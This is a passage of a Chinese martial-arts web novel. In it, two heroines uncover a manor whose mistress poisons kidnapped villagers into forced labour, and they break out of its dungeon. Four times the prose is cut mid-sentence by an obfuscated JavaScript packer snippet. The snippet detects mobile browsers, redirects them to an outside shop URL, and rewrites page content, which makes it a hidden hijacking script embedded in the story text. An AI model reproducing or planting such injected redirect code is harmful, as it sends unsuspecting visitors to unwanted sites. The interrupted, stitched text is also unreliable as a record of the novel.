“墨菊说得不错,下次采办的时候可以换些个花样。”庄主随即恢复了笑语盈盈的模样。 墨菊粲然一笑:“我不过是斗胆猜一猜主人的心思,替您说出来罢了。”又向乐青澜道,“今日先请姑娘从这几个中选一个吧。” 乐青澜站起来认认真真地看了一圈,指着其中一个:“我的家乡盛产 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13078074|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金桂,花型虽小,但香气馥郁,隔着几丈远都能闻到它,正如江湖侠客即便出身微寒也不甘落寞,一心想着扬名立万。” 庄主对她这番话倒是非常欣赏:“说得好!就像你我虽为女子,但从不轻贱自己,而是努力修习,力争上游。” 墨菊也在一旁附和,气氛马上变得热烈起来。 女使们用她们各自指定的器具奉上茶便退了下去,桌边又剩下最初的四人。 乐青澜呷了一口手边的茶,欣喜道:“这茶里也有果香!” “这是我们庄上特制的花果茶,果香四溢,广受客人好评。”墨菊道。 “这个也会送到酒楼里去售卖吗?” 墨菊浅浅一笑:“我家不仅有酒楼,还有茶坊、酒坊、各色干果铺子等,不一而足。” “也都是由女子主事吗?” “那是自然!”庄主道,“女子一样能顶天立地、自立自强。” 乐青澜喜欢这句话,马上拿起杯子向前一送:“庄主所言,当真称得上掷地有声,我们应该为此再喝上一盏!” 其余三人也一起举杯喝下。庄主顺着刚才的话题继续说道:“江湖上历来以男子为尊,女子只能沦为他们的附属,即使满身才华也无人在意、无处施展。更有甚者,男人们把她们当做可以玩弄、可以交易、可以随时弃置一旁的物件儿,有多少江湖女儿被摆布,蹉跎一生。” 庄主所说触动了乐青澜心肠:“庄主的这番话足以让那些高高在上的男人们汗颜,也能让那些屈服惯了还不会反抗的女子们思量。” 庄主点头不已,看她突然变得有些激愤,便问道:“青澜姑娘可是也有类似的遭遇?” 乐青澜沉默地点头,思绪被拉远。 墨菊为她斟上一杯新茶:“姑娘不妨说出来,要是有我们能够帮得上忙的,你尽管提。” 乐青澜摇了摇头:“多谢美意。事情已经解决了,只是听到庄主为女子打抱不平,想起一些往事,有些唏嘘而已。” “身为女子,或多或少都会受到这世间的不公对待,这里的每一个女孩都曾有过类似的伤痛。想必二位也不例外?”庄主以问句收尾,显然是想听一听她们的故事。 乐青澜尚在感怀,紫璇便先说了自己不被允许习武,付出了许多艰辛才得到父亲认可的事,只不过她的家世背景被全部隐去,只说了事情大概。 庄主对此也颇有感触:“女子无才便是德,本是酸文腐儒禁锢女子,使其甘为附庸的伎俩,竟然也被江湖人奉为圭臬。与之相呼应的,女子不得出任家主、掌门种种,不过都是想把她们束缚到相夫教子仰人鼻息的境地上。有哪一条规矩是真正为女子考虑的?” 紫璇想起姥姥和阮云飞,不禁承认她说的很有道理。 “不让女子出头还不是最惨,”乐青澜终于开口,“还有人明明与世无争,却不幸沦为了男人们你争我夺的牺牲品。” 98. 起疑(一) “还有人明明与世无争,却不幸沦为了男人们你争我夺的牺牲品。” 乐青澜的话勾起其余三人的兴趣,都安静下来看着她。 乐青澜调整好情绪后继续讲:“我不是中原人,出生的地方不受官府管辖,那里的人遇到事情都向族里年纪最长的阿公请教。那里没有官府约束,不同部族之间时不时会爆发冲突,不是我们冲过去烧杀掳掠一番就是别人冲过来。我年纪小,并不清楚这之间发生了什么,只知道害怕。 有一次,一个和我们有世仇的部族趁我们打秋时摸了过来,我姐姐来不及躲避,在混乱中被人掳走,第二天才又出现在了寨子外,遍体鳞伤、惨不忍睹。阿爹阿娘想带她回家,族长却不让,非说她被敌人欺负了,是全寨的罪人,必须施以火型才能洗刷耻辱。族长一言九鼎,阿爹阿娘一点也不敢反抗,我姐姐就这样在全村人面前被烧死了。 “当时我年纪小,只知道我的姐姐似乎犯了错,所以受到了惩罚。后来我才知道,她的所谓‘罪过’,其实是,作为全族男人的财产竟然被敌人抢去玷污了。如果任由她活着,就等于时时刻刻在提醒人们,这一族男的都是懦夫,是被别人抢走财产的弱者,所以她必须死。她死了,男人们的尊严就能恢复,还能打着为她复仇的名义再杀回去,掳掠占有他族的女子。 “等到我知道这一切因何发生,我就明白了,女子在他们眼中根本算不上一条性命。我恨这背后的诡辩,姐姐没有罪,有罪的是践踏她性命和尊严的男人。为了给姐姐报仇,我收集有毒的草叶,把它们晒干了和族长日常喝的叶子茶混在一起,毒死了他。后来又摸进掳走我姐姐的那个寨子,暗夜抹了他们老族长的脖子。我也知道我所做的这一切只能泄一泄我的私愤,族长死了还会有新的族长,一切都不会有改变。所以我不想生活在那里,杀了人之后便离开了。” 她的故事到此为止,可座上另外三个人久久都没有说话。 庄主叹了口气:“青澜姑娘说到点子上了。男子做主一日,女子就难有活路。” “所以庄主立下这番事业,就是为了让女子能够自力更生?”紫璇接着她的话问道。 “不错,我想从自己开始,先让一部分女孩儿能够只靠自己谋生而自立。待她们成长起来,就可以继续帮助别人,那时就会有更多的女子脱离男性、自作主宰,江湖风气也会因此一新。” “庄主姐姐有开先河树新风的志气,是我们这些后来者的楷模!”乐青澜举杯,众人共饮。紫璇也觉得庄主愿以自身之力突破窠臼,其魄力与气概远超那些虚伪自私的武林名宿。 “两位妹妹和我意气相投,武艺又属上乘,正是我渴慕的人才。便与我携手,共同为江湖女儿开辟一片新天地,如何?”庄主见气氛已到,顺势提出邀约。 乐青澜先道:“庄主见邀,我和紫璇岂有不从之理。不过须得禀明师父,得他老人家允准才可以。” “尊师重道份属应当,”庄主脸色略冷,“不知青澜妹妹的师父是男是女?" 乐青澜怔楞一瞬,还是说了实话:“是男人。”但马上又道,“我师父虽是男子,但一向同情女子的处境,也会尽己之力帮助她们。我就是其中一例。” “是吗?”庄主应承地十分敷衍,“既然如此,我也不强求二位,待你们和师长商量过了,我们再提入伙的事不迟。” “今日天色已晚,两位姑娘回程不变,不如先在庄中住上一晚,明日一早我安排人送姑娘们回南阳城。”墨菊起身道。 乐青澜和紫璇对着彼此微微点头,答应了。庄主再无别话,墨菊再次引路,带她们去别院安歇。 进大屋前天还是亮的,此时已经有些微微发暗了。墨菊边走边说:“我先带两位去住处,晚饭会直接送到屋子里。” 路过一处庭院时,乐青澜突然停下,朝另一边猛看了几眼,然后就跑开了。紫璇和墨菊不明所以,也随即跟了上去。 从那边走来一个女子,她拎着两只盛满水的木桶,正一步又一步艰难地往前走。 “强娃的娘?”乐青澜赶到她面前,试探地问。 那女子抬头,看到是她马上顿住,紧握着木桶把手的两只手登时松了。乐青澜反应快,立刻左右手齐出,帮她稳住水桶,顺势放在了地上。 强娃的娘也瞥见了正走过来的墨菊和紫璇,立刻拎起水桶,挤出一句话“姑娘认错了。”就要离开。 乐青澜拉住她:“不可能!你就是强娃他娘。我就是来找你的,我又去了你家一趟,只看到你男人死了,村里还少了好些人,以为你被什么坏人掳走了。” 强娃娘眼眶瞬间红了:“谢谢你惦记我,”她又看了一眼已离自己不远的墨菊,“不过我不是被人掳走的,我是被人救来这里的,现在自食其力,和姑娘你当时说的日子也差不多。” “是吗?”乐青澜看着她憔悴的面容和深陷的眼窝,实在无法相信,便再问她,“那你的孩子们呢?他们可还好?” “孩子们?”强娃娘突然带上了哭腔,但拼命忍着,“他们很好,庄主安排了专人照顾他们,吃穿不愁,比在家时不知好了多少。” 墨菊听见了他们最后几句对答,也道:“所有到我们这里的女子,如有子女,我们都会教他们读书识字,将来也能有个好出路。” 乐青澜一直盯着强娃娘,疑心她没有说实话,可墨菊在前,她不能多问,看了一眼她手上的水桶,问她:“你在这里做什么?可有工钱?” “我替各位姑娘们洗洗衣服,庄主按月派工钱,姑娘们时不时还会打赏一些。”强娃娘答道,但头一直低着。 “你住在哪儿?” “我们有专门的住处,和姑娘们不在一处……” “山庄里有各种人工,都分院居住。浣衣、膳食、司茶等等都有自己的院子。”墨菊解释道。 强娃娘不再说话,仍旧低头杵着,两只手越发吃力。 墨菊见状,对她道:“快拎过去吧,再撑下去手臂要打颤了。” 强娃娘矮了一下上身,立刻走了。乐青澜望着她离去的方向,眉头深锁。 紫璇挽住她的胳膊:“快走吧,我饿了,想早点吃晚饭。” 墨菊也说:“是啊,太阳马上落山了,早些用完饭便早一些休息。” 乐青澜点了点头,随着墨菊回到原路上。 墨菊一走,乐青澜就立刻凑到紫璇身边:“你怎么看?” “刚才那个人,就是你之前说的那位被夫家嫌弃生不出男孩的女子?”紫璇先问道。 乐青澜点头。 “她好像有些惧怕墨菊。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13095876|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “对,我也觉得她没说实话,至少不是全部的实话。”乐青澜也道。 紫璇还来不及说下一句话,敲门声响起,送饭的人来了。 菜食乃至盛放菜食的器皿依旧精致,女使将食盒中的饭菜一样样摆到桌上后便要行礼离开,乐青澜拉住她,甜甜笑道: “这位姐姐请留步,我们俩初来乍到,有些疑问,盼着有人能给我们解惑。” 那女使也是个开朗的性子,当即也笑着说:“两位姑娘是庄主的座上宾,有什么需要的尽管说话。” “你说着了,庄主想邀请我俩入伙,可……”乐青澜故意停下,等着对面的反应。 “庄主能亲自邀请两位姑娘,可见她对你们极为爱重,进来便可以和其他姑娘们一样。”女使道,“姑娘们待遇好,吃穿用度都是上等的,在外和男子们一样可以管事,旁人羡慕都羡慕不来呢。” “姑娘们?”紫璇瞧着她的服饰,和刚刚在路上拎水的强娃娘非常类似,想起她说过的话,问道:“你们和姑娘们的吃穿不一样?” “那怎么能一样?姑娘们各有本事,庄主又器重,自然是人上人。我们只能算是山庄里的丫头,做些粗活而已。” 闻言乐青澜微微皱了一下眉头:“丫头?你们只是分工不同,又不是低人一等。” “那还是不一样的,”女使仍是笑着,“姑娘们为山庄聚垒钱财、抵御外敌,我们的一切都仰仗着她们。别说是衣食住行比我们好一些,若我们干犯了规矩,教训我们也是应该的。” 乐青澜还想反驳,被紫璇用眼神制止。女使见她们没有其他话说,便告辞出去,体贴地带上了门。 “不是说让女子不依附他人谋生自立吗?为何要把人分出等次?”乐青澜不满道。 “人的能力有高低,分层列等亦属正常。”紫璇和她想法不同。 “可是你听见了吗,她说姑娘们是可以教训她们的。” “既然有规矩,就肯定有执行规矩的人,这也说明不了什么。”紫璇顿了顿,还是说道。 乐青澜不服:“我只知道,人人平等,她们就算只做些洒扫做饭之类的活计,也不会比外出理事的女子低贱。如若只是因为分工不同就让她们受另外一些人的辖制约束,和我希望看见的女子自作主宰的愿景一点儿也不一样。” 紫璇不语,她不是反对乐青澜的想法,只是觉得要在这世上真的实现“人人平等”,大致是没什么可能的。不过,若庄主真的强迫这些女子为奴做婢,受人驱使,那性质就不一样了。 “不行,再等等,等天再黑一些,我得去找强娃的娘,好好问问她。” 紫璇点头,她也这样想。 乐青澜说罢,又从袖笼中捏出一根银针来,对着紫璇道:“咱们还是小心一些比较好。” 对此紫璇更加没有异议,等她将吃喝一一验过,银针并无丝毫变化后,两人才坐下来用饭。 外面下了一场过雨,暑热稍稍解除。乐青澜一直观察着院中的动静,紫璇端坐在榻上练功,一直耐到三更天,她们才吹灭烛火假装安歇,然后瞅准院中无人,跳窗出来,准备跃上屋顶。 霎那间,院中四面都亮起烛火,庄主在前、墨菊在后,带着十几个女子从四面房屋中冲了出来,将紫璇和乐青澜围在核心。 99. 起疑(二) 乐青澜垂手而立,坦然笑道:“庄主这般明火执仗,什么意思?” 烛火下庄主的笑容已不似白天时那么友善:“我倒要问问你,费尽心机到我这与世隔绝的山庄里来,四处打探,到底存了什么心思?” “我不过是和几个女使说了几句闲话儿,怎么就是存心了?” “是吗,问东问西也就罢了。那你们半夜三更跳窗出来,难不成是吃多了想锻炼?” 眼看搪塞不过,乐青澜不再废话,直接朝她冲了过去。紫璇也立刻行动,飞身向前,企图和她一起擒住庄主。 庄主身前随即闪出两个女子,分别攻向她们二人。紫璇脚步不停,只用手肘就将扑倒自己面前的女子推了出去。下一刻,又有一名女子持剑上前。紫璇提气一跃,脚跟向后用劲,避过了兵器的同时也将她踢到在地。先前那一名女子再次近身,紫璇运力于掌,眼看着就要击中她胸口,却霎时间手臂酸软,使不出力。她再次聚气,反倒让腿脚也跟着没了力气,整个人都瘫倒在地上。离她不远处,乐青澜也和她一般无力跌坐。 “怎么样?我的噬魂散如何?只不过是在蜡烛里掺了这么一小点儿,就能让两位姑娘稍一动武便失去力气?”庄主走近些,在她们上方轻轻笑着说。 紫璇回想起屋中烧了整晚的蜡烛,懊恼自己竟然毫无察觉。 “你想做什么?”虽然全身无力,但思维还清晰,乐青澜瞧着得意洋洋的庄主问道。 “放心,我还没想杀了你们。否则就不会下这么轻的剂量。”庄主仍是高高在上地笑着,“我的邀请仍然有效,只要你们肯跟我合作,我们就还以姐妹相称。” “合作?”乐青澜冷笑道,“你想让我们给你卖命?” “你这么说也没错。不过我只是买,并不是抢,公平得很。你在我这里好好干,不仅有钱拿,还可以有权,岂不比被那些酒囊饭袋的男子拿捏要好上许多?” “谁知道呢?你是不是会比那些男子好一些?”乐青澜嘴上不肯服软。 不过庄主倒不生气,而是蹲下来看着她:“我自问比那些男子强上百倍,你要是不信我也没办法。我爱才,你们就这样死了怪可惜的。不如去牢狱里面好好想上一想,到底是和我共事开辟新的天地,还是少年殒命再也没有将来?” ****************** 锁上牢门的同时,墨菊同情地说:“两位姑娘这是何苦呢?那些进来的女子无一不活得好好的,根本无需你们操心。我家主人是真心想要招揽你们,这才没有下狠手,你们要是想通了,随时叫外面的人去喊我。” 乐青澜背过身去,没有理她,紫璇也闭上了眼睛靠墙坐着。墨菊摇摇头,转身嘱咐守在牢外的两个女子。等她走后,紫璇才睁眼,俯身到乐青澜耳边对她说:“再等一等。” 乐青澜会意,也学着她闭目养神。 堪堪过去一个多时辰,内外一片寂静中,乐青澜突然叫道:“外面有人吗?” 负责看守的女子之一出现,问:“姑娘何事?” 乐青澜从铁栏杆里伸出手去,手中拿着一截破布:“我想通了,不愿意在这里受苦,这是给你们庄主的投名状。” 就在那女子伸手接过她手中布头的一瞬间,乐青澜反手扯住她的手腕,紫璇射出银针,正中那女子天突和鸠尾两穴,女子倒下来发出沉闷的撞击声,另一个女子闻声而来,还未来得及叫人,就被紫璇再次射出的银针刺中,失去了声音。她的脚步没能刹住,倒在了牢门近旁。 紫璇将随身的针筒塞回靴子,又从另一只靴筒中摸出瑾瑜赠予她的匕首,隔着栏杆在锁上斩了两下,锁应声而断,乐青澜轻轻将门拉开,轻喘着艰难地剥下地上两名女子的衣衫。紫璇刚刚也用了力,此刻还在栏杆内努力平复内息。 等到两人换好衣衫,轻手轻脚地摸到外面时,又过去了一炷香的时间。地牢外还有人看守,紫璇虽有银针,但数量有限,此刻若使出来,只会招来更多敌人,她们中了“噬魂散”,根本对付不了。 她拉住乐青澜往回走,为今之计,只能看看牢里面是否有什么地方可供她们逃出去。 能逃出的破绽没找到,反而在地牢深处找到了一大批关押在此处的男女老少。紫璇二人穿着看守的衣服,这些人一见到她们立刻跪倒一片,战战兢兢地求情哀告,生怕她们是来处罚谁或是来杀掉谁的。 如此景象更加让乐青澜愤恨不已。她从紫璇手中抢过匕首,想一把斩断门上大锁。牢中所有人看到她挥舞匕首的动作便即刻往后躲去,最后看到的却另一个人女子费力拦住了她。 “先别急!我们最好先问一问她们。”紫璇着急说完这句话,气没有喘匀,又停了一会儿才缓缓上前,指着站在最前面的一个十来岁小姑娘,她的背后还有一个因为害怕而紧紧抓着她还把头藏起来的小男孩。 “你们是从哪来的?在这呆了多久了?” 小姑娘惊恐地望着她,一面用手不熟练地安抚着身后的小人儿。 乐青澜蹲在地上,比小姑娘还要低上三分,也朝她问道:“你叫什么名字?” “大丫。”小姑娘小声回了话,眼睛仍旧不自然地在她和紫璇之间转来转去。 “大丫,”乐青澜轻轻叫了她的名字,指着她身后,笑着问:“这是你弟弟?” “嗯。” 大丫的弟弟听到她提起自己,马上和姐姐贴地更近。 “你们是被抓来这里的?到这儿有多久了?”乐青澜继续耐心地问她。 “不……不知道。” “你们的爹爹妈妈呢?” 大丫嘴巴一撇,呜呜哭了起来,后面的小男孩察觉到了,探出头来帮她抹眼泪。 眼看着小姑娘也说不出来什么,紫璇便换了一个人,指着另一边一位大婶问道:“你们到这里多久了?” 大婶疑惑地看着她俩,小心翼翼地问:“你们……你们和她们不是一伙的?” “不是,我们也是被抓进来的。” “那你们怎么不在牢里?而是……而是……”大婶和其他人都盯着她们的衣服,对紫璇说的话不敢轻信。 “我们的时间不多,你们只要说实话就好。”紫璇压着嗓子,但语气已经有些急躁,吓得所有人又往后挤了一下,“你们是哪里人?什么时候被抓来的?” “我们都是梁家湾的,今天早上到的这里。”一位大叔略探出一点身子,回答了紫璇的提问。 “梁家湾?你们是梁家湾村的人?”乐青澜喜道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13114304|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她突然开心起来,牢中众人越发莫名其妙。只见她慢慢站起对着大伙说道:“我就是来找你们的。她撸起袖子露出右腕,一条绿色的手绳缠在腕上:“可有人识得这个东西?” 一名个子很高的男子在众人之中举起手臂,小心问道:“你是虚先生的弟子?”他又仔细揣度了一下乐青澜和紫璇的年纪,拿不准她们和那位先生的关系。 乐青澜大喜过望,立刻说:“对,这位先生是我的师父,是你通知韩仲昌有人来打听梁家湾每家每户的人口家事的,对不对?” “对,”他又指着背后的一个人,“还有我的兄弟。” “你叫什么名字?” “来旺儿,我弟弟叫来福儿。” “只有你们两个在这吗?你家里其他人呢?” 来旺儿红了眼眶:“我大姐被她们带走了,不知道去了哪儿。我娘腿脚不好,她们嫌弃做不了伙,就没把她掳来。爹爹和匪徒抗争受了伤,如今不知道被她们抬去了哪里。所以这里就只有我们俩。”话说到一半,一颗大大的眼泪已经顺着他的方脸流了下来。 其余人也纷纷想起头一天晚上自家遇上的惨事,都悄没声息地抹着眼泪。 “大伙别着急,咱们一起想个法子,一定能逃出去的!”乐青澜安慰他们。 来旺儿用胳膊肘擦掉眼泪,对着身后众人道:“乡亲们,这两位姑娘是曾经帮我们除去恶霸的那位先生的弟子,他们一早就提防这这些匪徒,有他们在,我们肯定能逃出去。” 大家听了,先是呆愣,直到一个字一个字消化了他所说的全部信息后,才慢慢露出欣喜的笑容,有几个人当即就想要欢呼出声,被她们俩立刻打手势按住。 她们赶紧告诫村民们:“匪徒同伙守在外面,大家悄声,千万不要打草惊蛇。”性命攸关,大家马上会意,配合地闭上了嘴,家长们也马上捂住了自家孩子的嘴巴。 接下来的沟通就变得顺畅多了,从来旺儿和几位大叔大婶那里,乐青澜快速掌握了从那天晚上到现在发生的所有事情: 匪徒们抓了人,将年轻女子和其余人分开绑缚装车。年轻女子貌似进了城,他们则被送来了这里。此处离梁家湾相隔甚远,大车走了整整一个晚上,清晨时分才到了山庄,然后他们马上就被投到了这个地牢里,因此还不知道早已经过去了一整天。 据他们说,他们被关到这里不久,就闻到了奇怪的味道,然后晕了过去,再醒来时就发现所有人都酸软无力,别说逃跑了,连胳膊都很难抬起来。过后便有一个叫“丹萍”的女子来告知,他们中了毒,想活命就要好好干活。只要他们肯听话,就能保证衣食无忧。 还有,每认真干一天活能领一天的解药,否则就只得等着脱力而死。他们只有一天考虑的时间,如果愿意,第二天早晨就会有人来发放解药,并带他们出地牢去领活计。 乐青澜大致明白了此间状况,庄主用“噬魂散”控制了掳来的所有人,很可能也包括那些不肯合作的女子,才能运转起这么大一个山庄和所有相关的产业。只是,如今自己和紫璇也中了毒,并不能帮助他们脱困,只能等自己师父和韩仲昌带人来救自己。 紫璇也想到这点,在她耳边低声问:“现在怎么办?” 100. 囚牢(一) 紫璇也想到这点,在她耳边低声问:“现在怎么办?” “我知道你们的女儿、姐妹被送去了哪里,也已经通知了我师父,他会派人去救她们的,这一点你们可以先不用担心。” 乐青澜对着其他人道,众人都激动不已,但都不敢出声,只能安静地欣喜点头或流下泪水。 乐青澜坦承了自己和紫璇中毒的事情,然后说:“不过我在来的路上留下了标识,用不了两日,就会有人赶来救我们的。” “标识?”紫璇先发出疑问。 乐青澜绽出一个笑容,得意地对她道:“我随身带了一种特殊的草籽,一路上通过车板的缝隙撒了下去。刚好昨晚上下了一场雨,等一等就会沿着咱们来的道路长出草来。那时,师父还有仲昌哥就知道我们的所在了。” “好计策!”紫璇不由感叹,转念又道:“我们俩逃出地牢的事情天一亮就会被发现,如此坐等根本没有胜算,想法子能够解了毒才好。” 来旺儿站在她们边上,将她们的私语全部听了去,这时出声道:“听那个叫丹萍的姑娘说,她们每日会送一回解药,可管一日用途。你们若是吃了它,是不是就能拼杀出去?” “这的确是个好法子。”紫璇眼睛一亮,“只要我们能杀出去,不论是擒贼擒王还是和你师父里应外合,总能拿到解药,救出这里所有的人。” “可是,”乐青澜看着身后数十个眼巴巴望向自己这边的人,“解药的数量是一定的,我们取了其中两颗,就意味着有两个人至少要受苦一日……” “不要紧,我和我兄弟领了解药就设法藏起来,只是一天没有力气,不算什么大事,能把大家救出去比什么都重要。”来旺儿说着就要招手叫自己的弟弟过来。 先前说话的那位大叔却中途插了进来:“不行,你们都是年轻小伙子,吃没吃解药差别很大,会被人看出来的!”他上前一步,对着乐青澜道:“我老了,稍微惫赖一点贼人也不会起疑心,就把我的解药留下来给二位姑娘吧。” “但是……”乐青澜还是不太愿意,来旺儿却觉得那位大叔说的甚有道理:“梁二叔,多谢你,紧要关头我也不和你客气。你拿一颗药出来,再加上我的,就够两位姑娘逃出去了。” 但梁二叔仍是摇头:“你不行。”然后从人群里拉出来另一个年纪比他更大,留着一小撮白胡子的中年人:“老蔡,有件事和你商量。” 老蔡听完他的解释,也明白了此中的风险和关键,拍着胸脯笑道:“咱们老了,就算是出去了也指不定能活几年。不如把药让给年轻人。你一向有主意,我听你的。” 乐青澜内心触动,忙接住他的话头道:“蔡叔叔,你放心,我们一定会把大家救出去的。” 来旺儿也道:“您两位的身子骨儿还硬朗着呢,村上还指望你们出力,可不要现在就说丧气话。” 两位爷叔低声笑了笑,没有再说话。 解药的问题解决了,接下来便是如何瞒过看守。她们用渨了麻药的银针放倒了两个看守牢门的人,最多两个时辰她们就会醒来,更不用说天一亮就会有人发现他们已不在牢中,到时候全庄搜查起来,她们必然毫无抵挡之力。 乐青澜和大家交代接下来的要注意什么,紫璇便独自一人继续往地牢深处走,又发现了五六个空置的牢室,大小不一,地面皆铺有干草。因为空无一人,没有壁上烛火,越往里走越是昏暗。紫璇思忖良久,已有了主意。 ******************** 像丹萍和墨菊这样的管事木兰庄共有四位。墨菊主理内务,丹萍管理人手,碧荷打理外间的铺子和产业,还有一位名叫雪梅的年轻女子,则负责监督生产。那天晚上扫荡梁家湾村的事情便是由丹萍一手操办的。 这日晨起用过早饭,丹萍接过女使递过来的清茶漱了口,便准备开启一天的公事。昨日新到的一批劳力已经在牢里放了一天,尝够了中毒软脚的滋味,但凡是头脑清楚的,也该知道怎么做了。 她穿好外衣,领着已在她院中集合的属下,一起往地牢而来。地牢外面,雪梅正在等她。 经过外间的牢房时,丹萍指着其中靠墙睡着的紫璇和卧在地上的乐青澜,问道:“这是昨天来的那两个?” 雪梅点头:“我听墨菊说,她们来这的目的不纯,怕她们坏事,就关了起来。” “怎么不直接杀了?”丹萍继续往前走,随口问道。 “听说她们功夫还不错,主人舍不得,就给她们用了毒,盼着能为我们所用。” “功夫不错?”丹萍冷笑两声,“能有多好?说白了,主人还是不放心我。” “你可别瞎说。庄外的各项产业这一项做得红火,也容易惹来眼红的人,主人找几个会武的来,就是为了防着有人捣乱。” “哼。”丹萍只来得及说出一个字,就已经到了关押梁家湾村人的牢房。 她板起脸,隔着牢门冷冷瞧着里面的人。数十名老少仿佛一夜没睡,她们来的时候都安静的站着,等待着自己的命运。 “都想好了吧?要死还是要活?”丹萍将每个人的脸色都打量了一番,趾高气昂地问出了今天的第一个问题。 梁二叔当先说道:“要活,当然要活!”其余人也纷纷小声吐出“饶命”等字眼。 丹萍满意地笑了,一挥手,招来两个下属:“李招娣,把所有的孩子带出去,交给墨菊。”李招娣点人、照办。 “马金玲,把药发下去,注意一个一个发,不要发多了。” 马金玲领命,打开门锁,让里面的人排成队伍,然后将药一颗一颗发到他们手中。 “这药可以保你们六个时辰内能走能跳,一会儿可别假装自己手软脚软偷懒不干活。要是叫我发现了,必然不会放过你们!”丹萍在门外训斥道。 众人诺诺,小心翼翼地捧着手上的药丸。 “还有,也别存那等小聪明,趁着能动就想逃跑,别说每一处工坊都有人守着,你们不可能钻得了空子。就算你逃了出去,明日没有解药,也必会难受到后悔。只不过那个时候,你就算跪下来求我,我也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13126760|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会再看你们一眼,由得你们自生自灭!不相信的,大可以试试。” 说完威胁的话,她做了一个手势,让所有人吃药。自己则拉住雪梅:“这伙人抓得顺利,可见都是软柿子,你放心用。有不知天高地厚的尽管来找我,我收拾他们。” 雪梅轻轻笑了一声:“我知道了。” 然后,在马金玲的指挥下,牢里还剩下的人从牢门出来,列队往外走。走到紫璇和乐青澜所在牢门口时,老蔡突然趔趄了一下,整个人都歪向了一边,他旁边的梁二叔急忙去扶他。走在后面的丹萍看见这一幕,随即上前踹了他们俩一人一脚,骂道:“好好的路都不会走!” 两位年过半百之人颤颤巍巍地起身,一个字都不敢多说。走在最前面的马金玲也已经赶来,推着搡着让他们回到队伍中,又骂了几句,然后继续回到前面带队前进。 地牢外面墨菊也来了。雪梅看着马金玲安排众人上车,丹萍则走过来问她:“你怎么在这?我叫李招娣去给你送人,你收到了吗?” “路上碰见她了,有初蕊接应就行。我来这有事。” “什么事?为那两个主人的座上宾来的?” 丹萍的语气很不客气,墨菊知道她的心结,有意安抚道:“你别吃心。主人不过是想给你添个帮手,你怎么还不领情,小心主人知道了找你说话。” 丹萍翻了个白眼:“你少拿主人来压我。她要招新人便招,管我什么事。”说罢便扬长而去。 墨菊摇了摇头,又和雪梅说了几句话,目送她带着人出了角门后才又折返。可当她进到地牢里时,却发觉原本关押着紫璇和乐青澜的牢房中竟然空无一人! 她的心凉了半截,急忙抢上去往里细看。果然,当中哪里有二人的半点影子,门上的铁锁已然被斩断,悬落落地挂在原先的地方。 她即刻叫来牢头,问她这是怎么回事?牢头也一头雾水,只知道今天清晨巡牢时两人还在,而且睡得很香,并无异状。 “负责看守她的两个人呢?”墨菊朝四处看看,根本没有发现这两人的踪影。 牢头这才意识到不对,急忙将看守点齐,发觉其中并无昨晚派来看管新来之人的两个。她慌慌张张地来到墨菊面前: “墨菊姑娘,怪我疏忽大意,连看守的人什么时候不见了都不知道。” 早在点人之前,墨菊已经想到了最坏的可能性。她稳住心神,先吩咐牢头去牢中各处搜寻一番,看看能不能发现什么,结果只在地牢深处的一间牢房里,找到了躺在里面的两个看守。 她便叫来手下一个叫做水仙的女子,让她务必追上雪梅,请她清点带出去的人,看是否有人混了进去。 眼看着走失要犯已经板上钉钉,墨菊惶惶不安,只能一面遣人去向庄主汇报,一面安排人去山庄四处搜索。。 听着外间的声响渐渐平息,紫璇推了推身侧的乐青澜:“她们走了。” 乐青澜从厚厚的干草堆中坐起来,剥去沾在头上、脸上的草渣,开心不已:“能自如操纵身体的感觉真是好啊!” 101. 牢笼(二) 两人轻松撂倒地牢外仅剩的两个看守,慢慢往昨日去过的那处大屋摸过去。 路上来往的女使不少,还有专门为了找他们而四处翻查的女子。两人穿着看守的服色,尽量避过众人,于无人处才敢加快脚步。 即便如此,她们还是在一处院落外被人叫住。对方带着两个女子,刚刚在院中查找无果,却一眼瞥见有两个面生的人经过门口,立刻高声叫她们停下。 